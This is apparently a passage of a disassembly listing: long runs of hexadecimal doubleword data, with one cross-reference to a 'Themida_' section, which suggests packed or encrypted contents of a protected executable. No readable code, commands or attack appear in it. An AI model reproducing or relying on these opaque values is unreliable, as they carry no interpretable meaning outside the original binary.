		dd 883AFCB0h, 765D1566h, 0E17ADED2h, 0F85397DFh, 88321574h
		dd 0FC66BB81h, 3C99FB89h, 54F5BB1Eh, 0E22A523Fh, 965A8DD7h
		dd 0DEE68FC1h, 0BABA099h, 63D134Fh, 4432156Dh, 2232138Fh
		dd 55A0F766h, 57F8A00h,	6849C7E3h, 223FFC60h, 4A591566h
		dd 72DA92BCh, 97EEAF7Ch, 0DDF8FD51h, 113AFCB6h,	3AD41566h
		dd 521A18B5h, 0AB63675Ch, 15F39487h, 0B321566h,	48B5118Fh
		dd 36BB4942h, 9E3D7542h, 88321565h, 229DCCE6h, 0F626DEE7h
		dd 0F8E2EA07h, 88321577h, 0F83AFA84h, 0C57FC4ECh, 2C04F5A8h
		dd 448C7039h, 4BF290BFh, 2232A9E3h, 94B9E066h, 8E1B0187h
		dd 4BF2909Ah, 22327DE3h, 1DBB1A66h, 61321566h, 44321561h
		dd 0A72657EBh, 0D7D6F8F7h, 0A1294CE3h, 2CC75960h, 0FBE8098Fh
		dd 11339F69h, 77CE1566h, 6D288CD3h, 23B61A60h, 0E8321566h
		dd 0F3E090EBh, 0ADCA134Ah, 22321572h, 28DD0C42h, 9F42BD03h
		dd 8BE292Dh, 0FB6B2AF3h, 9ED983BBh, 85DBC599h, 0DF321566h
		dd 3131BD78h, 4CE99040h, 0B161D039h, 0A7BB469Ah, 2236D6E7h
		dd 0FAB11566h, 0AC2E9262h, 60269C3Ah, 42E2EA9Fh, 0BDDA9400h
		dd 85897340h, 84B77417h, 22299069h, 0F8CE1566h,	883215AEh
		dd 4432058Fh, 0E0C25E66h, 23C03241h, 866DD5BFh,	9F2830A4h
		dd 7DB79C1Eh, 0F8342511h, 88321568h, 606F8BFEh,	6529D0B1h
		dd 7CEB9C5Ch, 16442CDh,	40F49480h, 0A3321566h, 11321188h
		dd 0AC069266h, 60369C3Ah, 42D49F06h, 8AC095DCh,	0E9537576h
		dd 5EB77D07h, 16BB1566h, 77527542h, 0E87DE7DFh,	0C9537407h
		dd 0EA7A2E3h, 1139FC60h, 2B361566h, 8F2B9DAFh, 3B4A6A59h
		dd 0E4E2EA7Dh, 0D3DD56Dh, 44321554h, 22259D69h,	3DB1566h
		dd 0C5321566h, 55B55CDDh, 251BB22Bh, 0B030AC25h, 60231DCCh
		dd 65DBE0B2h, 42321566h, 11339069h, 37CB1566h, 93705F2h
		dd 66BBEC07h, 963D0942h, 8832156Eh, 44309D69h, 43521566h
		dd 0E7887507h, 6129D31Ch, 4432156Fh, 0FAD5E274h, 0C6092732h
		dd 87F17444h, 443203EBh, 2EDA7566h, 0CE321566h,	4D4659BBh
		dd 2CF63FFCh, 7D90A338h, 71537406h, 0D7BF9E93h,	24342511h
		dd 0EB23AE06h, 0EFB96BFBh, 883EFC07h, 44FE1566h, 0A89E4B38h
		dd 89284547h, 0B53C79Fh, 40BB118Ah, 7360ED42h, 531621E7h
		dd 0D24BA23Dh, 1F70E7E7h, 0F2BB6CD1h, 10B01A3Ch, 71321566h
		dd 440EAC37h, 0E3331566h, 1DB91465h, 8CF69642h,	44359369h
		dd 0A33D1566h, 11321567h, 38CDE99Ah, 443215EEh,	0A11601EDh
		dd 1E5211A2h, 883217E1h, 0AD6A4666h, 22321560h,	0FF080F1Ch
		dd 6153E06Eh, 44321561h, 53F7E019h, 988A83FEh, 0A119C0F3h
		dd 4439FC60h, 0BD5D1566h, 0C468D3BAh, 3D84BE60h, 4C0F7D38h
		dd 16BB1566h, 11CAAB42h, 78331566h, 45B91A38h, 0DB321566h
		dd 1126FD06h, 0A6581566h, 0F1B3A694h, 0A55C44A9h, 0ED0E0EDAh
		dd 2B1FC5A7h, 95B99A66h, 52CD743Fh, 35269E6Ah, 8836D1E7h
		dd 0CDC71566h, 0B34F0F3h, 9A547560h, 42B375A7h,	60167A6Ah
		dd 8AC49400h, 7153741Eh, 11D1AE00h, 60369E07h, 0A3D59C31h
		dd 113211A1h, 8CF59666h, 181629E1h, 2232198Fh, 6956CD66h
		dd 0C972E862h, 40794A05h, 646EAC0h, 35369E42h, 8736D1E5h
		dd 443214EEh, 0E31FE966h, 387ED571h, 498946AEh,	457ED571h
		dd 0A43D4EBEh, 1132157Ch, 8820FC06h, 0B8D1566h,	43B8F96Bh
		dd 8FF715DFh, 45B63386h, 30E2E76Bh, 0A709749Eh,	171B1383h
		dd 884B9769h, 7FCE1566h, 0B19C0E3h, 7DB11A60h, 87321566h
		dd 443205E8h, 28BC1A66h, 0F8321566h, 88321563h,	5058D85Dh
		dd 0AC3D744Bh, 11321578h, 882A9069h, 57DB1566h,	7E321566h
		dd 0BCCB4803h, 984DF242h, 41F8C627h, 0B7207720h, 15F06903h
		dd 8823FC66h, 59A1566h,	0D87A095Dh, 0B2B0301Ch,	1DD0A709h
		dd 4BFF8713h, 223207E7h, 16DA7566h, 0D321566h, 8E777B19h
		dd 2D695101h, 7053E6D9h, 883B9769h, 0C4521566h,	9A542BB9h
		dd 0D6536CBCh, 0A6253162h, 0FA646E48h, 5B5658E1h, 15166157h
		dd 0AC1E9438h, 4E4B62C7h, 0DD160191h, 15B3316Ah, 58D9E442h
		dd 443BFC91h, 0D8B41566h, 5229546Eh, 74C13B8Bh,	401651A1h
		dd 9A1686h, 15165199h, 8C164191h, 0B82CAC37h, 6E1BC831h
		dd 0F86B1D42h, 88321568h, 0DD6C403Bh, 57E756E5h, 0AB3E41B4h
		dd 0E06373B8h, 491E5E03h, 27D3D43Fh, 7D97E4E7h,	40BBB0EFh
		dd 0A7B8753Fh, 22349169h, 0D3B31566h, 0EC022821h, 2FBF9807h
		dd 2D343C2Bh, 113214E3h, 69CDED66h, 443CFD06h, 7781566h
		dd 0A34248F4h, 1F577EBh, 3D7D7EEAh, 2232188Eh, 0C9850966h
		dd 848233A2h, 350D2830h, 7B6C3994h, 47527507h, 21B1AF00h
		dd 4435FD3Ch, 3C3D1566h, 0E1204A12h, 8837FC85h,	90141566h
		dd 79CCC024h, 11894607h, 89321566h, 44884795h, 23321566h
		dd 4B309FBCh, 84B81A3Dh, 4B321566h, 223213E3h, 11B71A66h
		dd 61321566h, 44321575h, 0DA8267C4h, 64DD90D4h,	3B32482h
		dd 4A2010B8h, 1E35B0F9h, 70B61A8Fh, 61321567h, 4432156Eh
		dd 25B8F7DFh, 0AE4C08Ch, 0C3DFD5Ah, 443214F6h, 2235FD06h
		dd 0E1B51566h, 9B3ECEA8h, 4435FD5Fh, 0D0921566h, 98915183h
		dd 0EE6D4EF6h, 256BE3D8h, 0A63D1A5Ah, 11321517h, 88359C69h
		dd 0C63D1566h, 22321567h, 1121FC9Fh, 19651566h,	9E728509h
		dd 0C169A798h, 0B8B95FC9h, 217A94FAh, 4BFF29E5h, 2233A2E2h
		dd 0FA0EE066h, 89EB9169h, 0C63D1566h, 2232156Ah, 11349869h
		dd 63D1566h, 44321566h,	223EFC07h, 6B1566h, 3360FDC9h
		dd 0D7872802h, 0CBF14520h, 11321577h, 507771E5h, 0BC212844h
		dd 3AF79759h, 24D3593Eh, 3361453Bh, 44321567h, 2369CDEFh
		dd 492A9F96h, 88359269h, 0CE3D1566h, 22321567h,	0A261459Ah
		dd 0D3EA9D96h, 4B6AD646h, 223210E2h, 0C9B27566h, 73B274F4h
		dd 0D9B71AE6h, 0D7CDEA99h, 35069430h, 0B6256C6Ch, 0C51609EDh
		dd 223211A2h, 1BC19466h, 870C021Fh, 443212E7h, 23B51A66h
		dd 0E4321566h, 8874890Eh, 603E9C66h, 223213DFh,	48F91466h
		dd 3163E09Eh, 44321564h
		dd 61CFD4E7h, 0E0332B3Eh, 0CBCFFCE7h, 5D312B3Eh, 23B11A3Fh
		dd 0ED321566h, 8832D98Fh, 56B61A66h, 0CB321566h, 1132156Bh
		dd 0BBA14576h, 5E2CE804h, 0E83979C0h, 10BC1A2Bh, 70321566h
		dd 4433AC37h, 0E3B31566h, 780A0D0Eh, 61B3E467h,	2D0A0D0Eh
		dd 426B0CEDh, 11321F8Fh, 0ACB7D66h, 0D7C2F749h,	9B95A9B5h
		dd 34B8B412h, 8FB21A07h, 24321566h, 0A9C59E00h,	0EAB174B7h
		dd 4BB61A9Dh, 0B8321566h, 0E2884730h, 1007B871h, 0D2363132h
		dd 84D9943Dh, 2D07B871h, 113205E1h, 8839FC66h, 882D1566h
		dd 3E941F2Eh, 52C2A7A3h, 8CDE9616h, 0FD1619EFh,	22321567h
		dd 831E467h, 9FB51A3Fh,	0AD321566h, 22321574h, 1C7CDEE4h
		dd 0CD99DE93h, 7C1060C3h, 26A439ADh, 4364DA65h,	864AF4DCh
		dd 3CD6AB2Eh, 0F4035D68h, 4FC1143Ch, 7640FC9Ah,	4B52EA99h
		dd 223210E0h, 87E7AD66h, 7D5314A5h, 456CA369h, 2232078Fh
		dd 74C5B566h, 8188FCE0h, 0FA5D0A69h, 0F5E543F0h, 92737E38h
		dd 0C3D3B8Dh, 0BBCDEB26h, 222EFC9Fh, 91C71566h,	87CC1418h
		dd 0BBCC3AE3h, 223EFC99h, 6C7F1566h, 0A595D43Bh, 84029906h
		dd 42DBD36Ah, 1ECDEA9Ah, 883214E1h
		db 66h,	0E0h
word_5C5BB2	dw 0CD60h		; DATA XREF: Themida_:0054F498o
		dd 26F09484h, 92321566h, 9CB5118Ch, 70BB4942h, 2EB61A42h
		dd 1E321566h, 883213EFh, 44BC1A66h, 4A321566h, 1132573Ch
		dd 611619EFh, 44321574h, 2BD18889h, 0A94990E0h,	245DA89Ah
		dd 2BC12CE3h, 0AB675264h, 15F79483h, 9321566h, 4432118Bh
		dd 61E9266h, 352E9C3Ah,	88299E69h, 0AC521566h, 22321568h
		dd 48BDA91Dh, 0A06796Fh, 43CC3C3Ah, 9A69BCB8h, 0C08D3A1h
		dd 0E1A77D07h, 78BB1566h, 9A547542h, 0F9B2B14Dh, 48037476h
		dd 44359D69h, 0A03D1566h, 11321567h, 0E89EE09Eh, 0B28D1A35h
		dd 223CFC3Fh, 97EF1566h, 82F2AB77h, 345894C8h, 0E27E1C1Fh
		dd 4060EC07h, 42BAD4EEh, 1EE19D3Fh, 0DEF49406h,	1E5A063Eh
		dd 883201E2h, 443DFC66h, 8E8E1566h, 5F717326h, 465C73D3h
		dd 1D880CCFh, 0CEB374E8h, 11321562h, 3E1601EFh,	0F2C49595h
		dd 0A238FBE6h, 0D7B2C988h, 3C4957Ah, 0AD68E646h, 22321569h
		dd 9F796CA4h, 5CB4B302h, 0B731DD04h, 0CB015BFFh, 11321569h
		dd 17629966h, 88D15F91h, 5A5402Ah, 91D06D84h, 0C3D659Dh
		dd 44321084h, 22321D8Fh, 6E563866h, 0EF3CBF91h,	4B3D29EEh
		dd 22333AE2h, 1121FC66h, 0B4F61566h, 41DCF491h,	72A30B84h
		dd 4FA804CCh, 3ED6C1D6h, 4BDB297Eh, 2239ABE2h, 0EB51A66h
		dd 87321566h, 44320CE6h, 2226FC66h, 25681566h, 184B6CE6h
		dd 93516C0Ch, 869C62DCh, 58EA7BFh, 0B4C78809h, 0B4B61A8Dh
		dd 2D321569h, 113214E5h, 6B0EEC66h, 47469169h, 1ECE1566h
		dd 48B61A84h, 74321577h, 111629EDh, 0E7B3F0EFh,	11321562h
		dd 8836D0E7h, 68B51566h, 0CB524942h, 1132156Ah,	9A7DAB80h
		dd 886EA2E6h, 0EF231271h, 11B41A34h, 0D6321566h, 602E9E07h
		dd 0A3D09C34h, 113211A4h, 8CF09666h, 181601E1h,	7CCE4706h
		dd 788A7334h, 0E8534DB6h, 1FFA9E31h, 0A7DAC2E7h, 9A531C01h
		dd 163316Ah, 40F39487h,	0A3321566h, 113211A7h, 0AC3E9266h
		dd 4423FC3Ah, 0CF631566h, 0A2AC03C2h, 505CB8Bh,	47263F3h
		dd 0D7F0B4CCh, 4F162199h, 8836D1E7h, 4EDB1566h,	34321566h
		dd 9588270Bh, 3790A887h, 4426FCBCh, 55411566h, 7E317197h
		dd 4638F574h, 75F32AABh, 43EDEE92h, 1EF10D12h, 883212E2h
		dd 45B51A66h, 0DA321566h, 691D90A1h, 88341356h,	16C71566h
		dd 223215DCh, 82D89466h, 893C7D40h, 0D7F09494h,	0A83C7D40h
		dd 70524F7Ch, 8C71A536h, 84233171h, 0CD36118Eh,	15B9D646h
		dd 8CF69642h, 7E8C7306h, 0C8B37355h, 91538AC8h,	0D3D959Dh
		dd 0BBCDEB8Ah, 22359D69h, 943D1566h, 88321567h,	8FB9759Ah
		dd 7D0EE7E7h, 425304EBh, 3A7964DDh, 0D4F19457h,	0BFC58D2h
		dd 1ECE4EB8h, 883212E3h, 45B01A66h, 0DA321566h,	0FF390EDh
		dd 3C7134Fh, 6D3CA0F3h,	2235FC60h, 4D241566h, 9237031Bh
		dd 2D5AE05Dh, 0AB321563h, 0E9693152h, 8836F9E7h, 70BB1566h
		dd 2234AB42h, 0E2331566h, 3260ED38h, 44FA58E5h,	24F4E7E7h
		dd 0F3B30359h, 0B69D666Ah, 541DF7E7h, 0C8B36A18h, 7141564h
		dd 9231E767h, 9FB2753Ch, 0BE89732Ah, 0C9097426h, 882F9769h
		dd 0C63D1566h, 22321568h, 11B61A06h, 87321566h,	443215E8h
		dd 0F8097466h, 0EF009369h, 9CAEA99h, 0E006A2A5h, 77C93C3Dh
		dd 2D11C9DBh, 0C2F79471h, 0C57F0669h, 3751BB93h, 5CE7E214h
		dd 936F8A7h, 4DEBD5A3h,	7FD93C2Bh, 11321B8Fh, 0CC055A66h
		dd 532B6993h, 857A4A4Ch, 4016551Ch, 883213DFh, 1FF19466h
		dd 0B0E9419h, 4AD994ADh, 0D10E9419h, 44321C8Fh,	53D6A066h
		dd 0F86D040Fh, 255487B7h, 442A9C69h, 31DB1566h,	3A321566h
		dd 0FD254F5Eh, 5032777Ah, 0EAF92125h, 0EA7A6674h, 235457A5h
		dd 25F19F06h, 0E103CD57h, 3DBCD57h, 28321566h, 39B3BE81h
		dd 2F0C600Fh, 41ED3103h, 57E5BB2Eh, 0CE52BE4Bh,	2234FD96h
		dd 18181566h, 8BCDEC79h, 256BE2EDh, 2236F9E7h, 2DBB1566h
		dd 8836AA42h, 0BA331566h, 0ABCAEC39h, 98CA315Ah, 7D3E3112h
		dd 4422FD06h, 80641566h, 8BF860Ch, 77952640h, 4A07387h
		dd 0D1B32EAAh, 52369843h, 0F28D733Eh, 0F1BB7484h, 241B1F03h
		dd 350E9E9Ah, 9D79C33h,	443211A3h, 26F79666h, 4D1639E1h
		dd 0E8CBA206h, 44329569h, 0A9541566h, 0EE5374A8h, 0B693152h
		dd 0CFCA11A2h, 0AB61316Ah, 15F19485h, 9321566h,	443211A5h
		dd 62E9266h, 25B9E03Ah,	6EBB4342h, 4436D3E7h, 0E4B11566h
		dd 35069262h, 8821FC3Ah, 27B21566h, 0CBB6972Ah,	5344923Eh
		dd 1C883749h, 0F8A9D3A9h, 0C4BB4349h, 1136D3E7h, 31631566h
		dd 44321562h, 0A56BDB67h, 0F86E3152h, 88321572h, 0CC0F9C40h
		dd 0EB146A6Bh, 7407EC73h, 592191BAh, 0ACBA7772h, 0DDECA28Fh
		dd 94F5ED99h, 8E026D49h, 44321564h, 22321A8Fh, 96434F66h
		dd 4E7259EFh, 0F0743A80h, 40377B59h, 35069430h,	85F82278h
		dd 0C71609EDh, 0D1B311A2h, 1CF82278h, 88321C8Fh, 37361366h
		dd 2813911Ch, 0A73D8413h, 388B7568h, 2214B105h,	0ED0AFDE7h
		dd 113CFC07h, 4F511566h, 0F799BC86h, 1E00720Eh,	0C913C3h
		dd 87B2ECE6h, 443265E5h, 31B01A66h, 0F8321566h,	88321568h
		dd 0EF6D96B3h, 1E3A7ABFh, 625D5FBDh, 31632B91h,	2D1F7AA2h
		dd 236BDE4Fh, 0D5F194ADh, 875B3809h, 443204EBh,	223EFC66h
		dd 8C5C1566h, 38E47D0Ah, 68AAA23Ah, 9D65924Bh, 11321567h
		dd 616DEE67h, 44321574h, 6D4132B8h, 27663997h, 53D6321Fh
		dd 70D28934h, 5CDBA9F0h, 0F8321566h, 88321563h,	461AAC1Fh
		dd 4586459Ch, 395AF9E6h, 0AC369E87h, 0B136D1E5h, 0AB36F9E5h
		dd 118D315Ah, 0A1321566h, 1BCB9CA9h, 2232108Fh,	64603F66h
		dd 3567DA8Fh, 2B105B28h, 0E37FC091h, 0D4B31D83h, 0AA7C4599h
		dd 246FFC47h, 7DE19E34h, 70D3DCE6h, 8958FEE7h, 87B3092Ah
		dd 30CA4A4Fh, 0FAB3DE4Fh, 9ACA4A4Fh, 4558D6E7h,	2D52092Ah
		dd 113216E8h, 76B97366h, 44309F69h, 0D9B91566h,	0D0B79E07h
		dd 0E8343C78h, 22BAFBE6h, 0A953E7EDh, 383CA0F3h, 73D7560h
		dd 44321564h, 0DAB9ECEDh, 1134FC07h, 0B3CD1566h, 1E7B9184h
		dd 0F47A8E5h, 1E33134Fh, 8836E5E2h, 41DA7566h, 0E6321566h
		dd 78A40EC8h, 8832078Fh, 3C835F66h, 702A8A2Dh, 13A3D56Dh
		dd 0FE57B26Fh, 1E1AB4F6h, 0E10B749Ah, 15F19769h, 0E3D1566h
		dd 4432156Ah, 22349669h, 903D1566h, 88321566h, 0C63DC65Fh
		dd 0DDCDEFAEh, 1132068Fh, 0D0F7D766h, 0B1A4995h, 3F46313Ah
		dd 0BECBFA3Fh, 0D73B7FE6h, 4436998Fh, 29B11A66h, 71321566h
		dd 88329769h, 0F33D1566h, 0A7F574B8h, 17026D49h, 88321564h
		dd 4435FD06h, 318B1566h, 87EC3FD2h, 7AB973D0h, 0A8B37439h
		dd 22321562h, 901621EFh, 9D8F3152h, 0C5691784h,	0C027A895h
		dd 4B71A64h, 61321566h,	44321576h, 0CF6C947Ch, 0EE1408FDh
		dd 0E71458B0h, 63309A79h, 0CB3CA369h, 11321569h, 0A9D93515h
		dd 0E04CC781h, 0CCF112CFh, 0E9C98851h, 87B2ECE6h, 443297E5h
		dd 2221FC66h, 8B081566h, 899AC94Fh, 5E31F4F4h, 777244AFh
		dd 0E8EE3DC5h, 0F3D75E8h, 44321570h, 2232058Eh,	0C48DF666h
		dd 8F933C2Fh, 0E5CD726Dh, 0BB7F8E9Bh, 0AE3D4D36h, 4BB37499h
		dd 6EA95C3Ch, 9A62DE67h, 3BA95C3Ch, 876AD64Fh, 44321DE1h
		dd 20B51A66h, 71321566h, 8CCD4607h, 602E9E42h, 2236D1E7h
		dd 90521566h, 835B7391h, 254BA562h, 2232848Fh, 19B71A66h
		dd 87321566h, 443217E8h
		dd 71537566h, 0D6B260D1h, 3CB3DECh, 80B1317Ah, 223BFC62h
		dd 0A4861566h, 38E81FE2h, 2CDFFD76h, 22321566h,	711611E7h
		dd 0A1743235h, 68B3316Ah, 5617542h, 91524C20h, 3654D6ADh
		dd 17531E0Ah, 8A7B60DDh, 9BF19410h, 0A9BB42D1h,	16524EBFh
		dd 2232068Fh, 838DBF66h, 0AAA3F539h, 58D8891Ah,	0F089F58Fh
		dd 8005E78Ch, 8837FC3Dh, 78511566h, 439AB902h, 4382D6E7h
		dd 431B0052h, 1682AC37h, 0E91B0052h, 94B9EC3Fh,	8E1B0BA7h
		dd 0FED89406h, 2D0BAC6Dh, 9A53C2D1h, 0A13CA0F3h, 4426FC60h
		dd 0DBA1566h, 42D96FCEh, 2A869EE1h, 0B2845F76h,	5459C097h
		dd 0ACB1C728h, 8E1B3813h, 8EB61A67h, 42321564h,	74C8FFE7h
		dd 6BB26639h, 9C0974BEh, 22089769h, 973D1566h, 8832156Eh
		dd 44B71A06h, 43321566h, 11321F8Fh, 0A56C5466h,	0F007FBB7h
		dd 1BBF5942h, 0A0B41AB5h, 61CDEA9Eh, 44321576h,	2793E21Ah
		dd 73B87ACDh, 0B6121588h, 39DB3694h, 55ADAA31h,	0DEB321D8h
		dd 8CA656FEh, 0B2E2E7h,	6D75709Ah, 0F2F59429h, 0A19CA8AAh
		dd 4ADB4A98h, 0BC321566h, 9C2AD5DAh, 3E2A96A6h,	8B27BAD2h
		dd 0E6B275D7h, 0A6617416h, 88C7A57Ch, 602E9E9Eh, 0CB36D1E5h
		dd 11321577h, 142CF2Ch,	0BB09CF71h, 0CB821CB3h,	0A1F7BF5Ah
		dd 99DBBFB3h, 0DD321566h, 60600CF7h, 966DB95h, 125E3297h
		dd 0F468268Dh, 7D894636h, 5274BA59h, 8E77DEE7h,	0AFB30701h
		dd 74DD2A03h, 1069CDEFh, 0D03A9F96h, 0ADE19E06h, 22321563h
		dd 7FB3DF01h, 53D7451h,	4432156Dh, 22BA1A06h, 1E321566h
		dd 0D953CFD1h, 0F5D2A635h, 79EB2527h, 0D932CAD6h, 883DFC3Fh
		dd 0E39F1566h, 0DCBDDE2Fh, 8D10E44Bh, 8E286BB6h, 9AB375C4h
		dd 65A867A0h, 13DE9607h, 0AC2E9C00h, 9D121AD5h,	2ADB4E00h
		dd 45321566h, 99F5149h,	4CFEE489h, 2D98ECAEh, 113219E9h
		dd 8EB01A66h, 4B321566h, 223215E2h, 4AD99466h, 0A10C2978h
		dd 4588479Dh, 0A3534F45h, 5C1155A4h, 9705F73h, 36266884h
		dd 0A3D8C463h, 0C5D1D08Ch, 0D2E114A5h, 7027D9Ah, 1EBB1566h
		dd 1136AA42h, 731B1566h, 9C03EC39h, 0FA03D657h,	1132018Fh
		dd 8BB58E66h, 29220E46h, 0A9DC41Ah, 0E07868CEh,	36C5E6A7h
		dd 0CF3DBE88h, 22321569h, 11321F8Fh, 8F0E6166h,	51508EDAh
		dd 73321A42h, 113217DFh, 3FC1466h, 80B3316Ah, 22321562h
		dd 11321D8Fh, 10DC9F66h, 79FF210Bh, 47879C42h, 0F8343C6Ch
		dd 88321574h, 4591A909h, 0D618BF9Dh, 0F1F2217Ch, 0CF07064Eh
		dd 0C1F5A442h, 241B3813h, 11321567h, 8832058Fh,	0F0EAD266h
		dd 0E3E5253Fh, 6D18F77Fh, 5CF30D22h, 0A6BB4761h, 2236AC37h
		dd 0DB331566h, 8CF0963Fh, 181601E1h, 606EA9Ah, 15F6963Dh
		dd 8832048Fh, 7C0F6C66h, 585E128Ah, 8A2E49C1h, 1C439CE4h
		dd 70CD97FAh, 0E6B34C42h, 11321562h, 88399A69h,	42DB1566h
		dd 0FF321566h, 0D2228438h, 0EBD67D67h, 40BB1566h, 27D29C42h
		dd 11321562h, 0F36D5E5h, 246E3162h, 7153E09Fh, 0D2B3F6EFh
		dd 88321562h, 0C336D6E5h, 6B9317Ah, 1BB31A42h, 61321566h
		dd 44321563h, 18286F67h, 0C950FC88h, 13DEA99h, 44321568h
		dd 22321C8Fh, 0FC6B6E66h, 0EDA22F7Ah, 4EDBB56Fh, 75321566h
		dd 1B165F68h, 1D94C01Ch, 0DD8847B7h, 6025C351h,	0DBB3FFB7h
		dd 82834FCBh, 1FDEE7E7h, 0F41B1E9Dh, 5F84753Ch,	3853EBECh
		dd 40B71149h, 96854641h, 1914E2E6h, 68F24E9Eh, 4CDAD563h
		dd 0AA3DFC62h, 11321561h, 88339B69h, 4BCA1566h,	223214E5h
		dd 7198E966h, 0E925FAE6h, 60069430h, 5CC11C9Dh,	0C78D423Eh
		dd 944734Ch, 1672D91h, 0CDF3523Ch, 15C59461h, 0B94CBE29h
		dd 0AD524A9Eh, 22321577h, 224A5C44h, 0E150F2D7h, 3B62B94Ah
		dd 0F05A8D65h, 3DB758Fh, 92321566h, 71971065h, 0A29EE9DFh
		dd 0CCC6B627h, 4E1C2365h, 44BB1A52h, 43321566h,	0EB884707h
		dd 0CA0CD12Ch, 6CA9FFE7h, 0F21BF777h, 14CA3C3Ch, 0D4813706h
		dd 4432068Fh, 86A49966h, 8C930A27h, 2DE766D3h, 8DCDEA23h
		dd 4EEC152Ah, 1136AE35h, 41F1566h, 6D45D213h, 57BE10BEh
		dd 0F86962A1h, 88321560h, 0C78EDA8Ch, 2D999E52h, 11321DE0h
		dd 8AB81A66h, 24321566h, 0C4BB4307h, 1136D3E7h,	4EB11566h
		dd 60069262h, 0D71631EDh, 4A162199h, 6136D1E5h,	44321574h
		dd 0A32FB921h, 839DCE99h, 42465E09h, 9089F776h,	2EB9BA27h
		dd 0F7BB4342h, 8836D3E7h, 82B11566h, 6069262h, 1123FC3Ah
		dd 69C51566h, 5AD01088h, 339845F7h, 0C5824BFCh,	772AA382h
		dd 0C76C3152h, 995211A2h, 6EA069ACh, 90DB9534h,	0CD67743Ch
		dd 26F79483h, 92321566h, 0A4B511A3h, 60169E42h,	22321D8Fh
		dd 0A83D4666h, 45F1E910h, 9E36FC04h, 0E5C7EA99h, 214A3AE3h
		dd 88321060h, 48B01A66h, 0CB321566h, 11321561h,	0F0879546h
		dd 12820169h, 771621E7h, 9A53482Dh, 4CB3317Ah, 44321562h
		dd 6967E6E7h, 0F852743Bh, 88321569h, 0AC39AFE5h, 0FBA12338h
		dd 0BC842661h, 6166544Dh, 4432156Eh, 0F845A3CBh, 0D9C645FDh
		dd 41B37507h, 56DB76E7h, 8F9326DCh, 0FDB37455h,	88321562h
		dd 0FA1621EFh, 22321562h, 1E6CE667h, 88321CE1h,	0C5547566h
		dd 0A8BA2EB5h, 46607498h, 2143590Eh, 0A3B34A6Dh, 47A73D1Dh
		dd 0D6B3FAB7h, 770D7ABAh, 456DEFEFh, 78281694h,	0D0B79E9Eh
		dd 87343C78h, 44321DE9h, 20B61A66h, 71321566h, 3DA79E07h
		dd 4B343C68h, 223206E7h, 16DB7566h, 7E321566h, 0A9E9A013h
		dd 7B8AEEF0h, 701393CAh, 77CDA833h, 0AA33EA99h,	9FB1E03Bh
		dd 171B30DBh, 30B61A67h, 0BD321560h, 0A03DCD5Dh, 1132157Dh
		dd 8832188Fh, 4136D566h, 1BB574B6h, 0E69D336Bh,	52090EBCh
		dd 450B9369h, 0ABC71566h, 383870D3h, 83BF1A60h,	24321566h
		dd 2DED9E00h, 113215E3h, 15B97466h, 42026D49h, 2232198Fh
		dd 0EEDE6566h, 6767613Ah, 2FF8E423h, 67694DBh, 355C896Ah
		dd 0AC6E141Fh, 0D888476Ah, 0B4B3108h, 4B223132h, 88369569h
		dd 0F1521566h, 62DB746Dh, 0F8321560h, 88321561h, 0C86C2BB2h
		dd 0A9C3A830h, 9867315Ah, 8CF79483h, 0C7321566h, 0EB511A3h
		dd 0E4524942h, 0DADB9400h, 0C1F57455h, 241B30DBh, 11321567h
		dd 4F851A06h, 4432128Fh, 0DD316166h, 9FBABD4Bh,	0AC2E9E07h
		dd 0C5D79C33h, 223211A3h, 15F79666h, 0D41639E1h, 603E9E9Eh
		dd 0A3D09C34h, 113211A4h, 8CF09666h, 181601E1h,	22389769h
		dd 71521566h, 52E19407h, 257BD33Dh, 7C162199h, 1136D1E7h
		dd 81DB1566h, 0AF321566h, 25BF7C43h, 5D2B56C1h,	9D79C33h
		dd 443211A3h, 26F79666h, 9A1639E1h, 99DB3142h, 0F2321566h
		dd 821C5DB6h, 35769D48h, 12FFFE3Ah, 9D4813C4h, 0E9B97306h
		dd 1132058Eh, 0B69C2466h, 7BFF816h, 46C64919h, 0D5F61382h
		dd 0E969E9B4h, 0BBE67E8Fh, 2237FC99h, 0DDF31566h, 0B886DACh
		dd 6D1F60DBh, 0A63D1460h, 11321029h, 88321B8Fh,	0BD680766h
		dd 6C88894Ah, 273FDCA8h, 0A3701526h, 6D2CD4FBh,	0A9CBE060h
		dd 383DA8EBh, 0A3D7560h, 4432157Fh, 2232018Fh, 0E53C6C66h
		dd 2DF8E678h, 1114F622h, 0B700E3CFh, 275D1263h,	5FB37394h
		dd 0C553E48Bh, 5A49CCA7h, 0EADB942Ch, 8947CF15h, 0BFF394BFh
		dd 0A347CF15h, 6949CC8Fh, 0E3DED2Ch, 44321561h,	22339969h
		dd 42C71566h, 0D217D9DDh, 46D9D415h, 6137FEA7h,	903AFEA7h
		dd 0CA68CC85h, 32F19459h
		dd 0B59BA49h, 0E81B4EBFh, 0FA34D4E7h, 22527EC9h, 428B1BDEh
		dd 0F6B8CAEDh, 0DB647407h, 0C50775DDh, 2AD1D469h, 4EC9FEE7h
		dd 56BB9453h, 1AC33C3Dh, 22321F8Fh, 1317EF66h, 25F2BB3h
		dd 1638EF1Eh, 9421A235h, 4ACC1562h, 7832C7D6h, 443DFC3Ch
		dd 10341566h, 5B367AE3h, 21774294h, 75F430E0h, 0AA3DBF95h
		dd 11321579h, 882B9C69h, 50DB1566h, 13321566h, 524221ECh
		dd 0D51AFF96h, 0B4132B8h, 14663997h, 20D6321Fh,	0B9F324AEh
		dd 0FB3D75AEh, 2239FCB4h, 91D71566h, 0C86C0E6h,	3986D9CDh
		dd 0DB997498h, 44D09C34h, 883211DBh, 19D81466h,	0A536D7E5h
		dd 716E3172h, 88321A8Eh, 7FB05866h, 0E73776E1h,	80BCBB27h
		dd 22264C46h, 0C88C7339h, 36DB7449h, 17321566h,	9972B8BBh
		dd 36EF08B6h, 0C1410E37h, 0EB00B861h, 388CC7Ah,	0CD62317Ah
		dd 22361086h, 15371566h, 0F321566h, 0BC6E3162h,	721619EDh
		dd 1537F5EFh, 8D321566h, 44321562h, 7E1611E1h, 3BEE9506h
		dd 0BCCD749Eh, 80B34B42h, 22321562h, 11321F8Fh,	0C76D1266h
		dd 0BDE56D4Bh, 0CB1BD4E1h, 1132156Ah, 0EF4F8A70h, 5159B757h
		dd 9E1987D5h, 1136F9E7h, 9CBB1566h, 0C5D09C42h,	223211A4h
		dd 15F09666h, 0D41601E1h, 4432068Fh, 1522B066h,	0E19B1279h
		dd 0F31B2636h, 8C9A66Ah, 0FDBA63Ch, 0EEE7B88Fh,	79B37599h
		dd 16CE791h, 0E55306D5h, 214A3AE3h, 88321760h, 4DB61A66h
